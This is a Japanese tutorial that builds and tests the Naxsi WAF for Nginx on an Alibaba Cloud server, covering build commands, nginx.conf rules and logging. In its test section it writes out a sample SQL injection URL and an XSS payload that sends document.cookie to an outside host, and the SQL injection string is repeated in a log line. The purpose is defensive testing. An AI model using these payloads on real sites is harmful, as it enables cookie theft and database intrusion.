Nginxを使った、Alibabaa CloudでのWAFソリューション(Naxsi)の構築検証

1. WAFとは

WAF (Web Application Firewall) とは、一般的にWebサーバーの前面に設置され、ウェブアプリケーションへの攻撃を防御するセキュリティー対策製品の1つです。

2. Naxsiとは

Naxsi は、Nginx Anti Xss & Sql Injection の略で、、ModSecurity などとは異なるポリシーの元に作られた新しい WAFです。アンチウィルスソフトなどで使われるシグネチャータイプではなく、 以下のような特徴を持っています。

  1.   XSS, SQL injection, CSRF, File include からの防衛
  2.   既知の攻撃に対するシグネチャーによらない防衛
  3.   GET/POST リクエストのチェック
  4.   HTTP ヘッダとクッキーのチェック
  5.   危険な記号類、SQL キーワードの禁止
  6.   早いエンジン
  7.   比較的に単純な設定
  8.   ホワイトリストアプローチの採用
  9.   学習モードのサポート

シグネチャーによらない防衛機能として、脆弱性のある良く知られた パターンの99% を含む単純なルールが用意されており、例えば、 URIの一部として <,|, drop などは含まれてはならない などです。

3. 構築手順

1 ECSサーバーを作成

今回はCentOS7.3のOSで日本リージョンにECSを作成し検証いたしました。

NginxNaxsiのインストール

それぞれの公式ホームページから、NginxNaxsiをダウンロードし、ローカルファイルシステムに展開します。

# wget http://nginx.org/download/nginx-1.12.1.tar.gz -q
# wget https://github.com/nbs-system/naxsi/archive/0.55.3.tar.gz -q
# ls
0.55.3.tar.gz  nginx-1.12.1.tar.gz
# tar xzf nginx-1.12.1.tar.gz 
# tar xzf 0.55.3.tar.gz 
# ls
0.55.3.tar.gz  naxsi-0.55.3  nginx-1.12.1  nginx-1.12.1.tar.gz
# mv naxsi-0.55.3 naxsi
# mv nginx-1.12.1 nginx
# ls
0.55.3.tar.gz  naxsi  nginx  nginx-1.12.1.tar.gz

必要となるライブラリPCRE zlib OpenSSLのインストール。

# yum install -y pcre pcre-devel zlib zlib-devel openssl openssl-devel

ビルド・インストール・起動

# cd nginx
# ./configure --add-module=../naxsi/naxsi_src/ 
...中略
# make
...中略
# make install
...中略
# cd /usr/local/nginx/sbin/
# ./nginx 

グローバルIPアドレスにブラウザから接続すると、Nginxの画面がでてくることを確認できます。

不正なURLパラメータでも、今の段階では正常にアクセスできてしまいます。

4. NginxにおけるNaxsiの設定

それではNaxsiの設定を行っていきます。
nginx.confの編集を行います。

http {
    include       mime.types;
    #デフォルトで配布されているnaxsiルール
    include /root/naxsi/naxsi_config/naxsi_core.rules;
    default_type  application/octet-stream;

   ...中略

    server {
        listen       80;
        server_name  localhost;

         ...中略
        location / {
            root   html;
            index  index.html index.htm;
            #Enable naxsi
            SecRulesEnabled;
            #遮断する際に内部 リダイレクトする先
            DeniedUrl "/50x.html";
            #しきい値の設定
            CheckRule "$SQL >= 8" BLOCK;
            CheckRule "$RFI >= 8" BLOCK;
            CheckRule "$TRAVERSAL >= 4" BLOCK;
            CheckRule "$EVADE >= 4" BLOCK;
            CheckRule "$XSS >= 8" BLOCK;
            #BasicRule ホワイトリスト
            BasicRule wl:0 "mz:$ARGS_VAR:id";
     }

*デフォルトで配布されているnaxsiルールnaxsi_core.rulesで、CheckRuleにある$SQLや、$RFIの値を設定する。CheckRuleのルールがtrueの場合、DeniedUrlにリダイレクトになります。

設定が完了したらnginxを再起動します。

# cd ../sbin/
# ./nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
# ./nginx -s reload

グローバルIPアドレスにブラウザから接続すると(正常なパラメータだと)、Nginxの画面が正常に表示されることが確認できます。

一方、今度は不正なURLパラメータで接続していきます。
きちんと遮断されることが確認できました。

SQLインジェクション:

http://47.91.29.132/?para=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

XSS攻撃:

http://47.91.29.132/?para=<script>window.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)</script>

アクセス管理、ロギング

ログはデフォルトで下記に保存されています。Naxsiが遮断したリクエストなどを確認することができます。
・アクセスログ:/nginx/logs/access.log
・エラーログ:/nginx/logs/error.log

例として、SQLインジェクションで攻撃されたときのログを見てみましょう。http://47.91.29.132/?para=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

error.logに下記のとおりログが保存されています。

2017/09/15 16:43:38 [error] 27388#0: *58943 NAXSI_FMT: ip=XXX.XXX.XXX.XXX&server=47.91.29.132&uri=/&learning=0&vers=0.55.3&total_processed=840&total_blocked=96&block=1&cscore0=$SQL&score0=8&zone0=ARGS&id0=1000&var_name0=para, client: 210.146.35.2, server: localhost, request: "GET /?para=admin%27%20and%20(Select%20count(*)%20from%20data%20where%20uname=%27wucm%27%20and%20len(upass)%3C10)%3E0%20and%20%27a%27=%27a HTTP/1.1", host: "XXX.XXX.XXX.XXX"

5. より発展的に

WAFを導入する際によくある実践的なアーキテクチャについてご紹介します。
WAFはセキュリティ防御の層ともいえるのでアプリケーション層と分離したアーキテクチャを採用することも多いです。その時は内部ロードバランサを活用するといいです。
内部ロードバランサについてはこちらによくまとまっていますのでみてみてください。

内部SLBでシステム可用性を向上

このWAFについても同様の考え方を行うことができるので、もし実際に導入する際には検討してみてください。

 

 

この記事をシェアする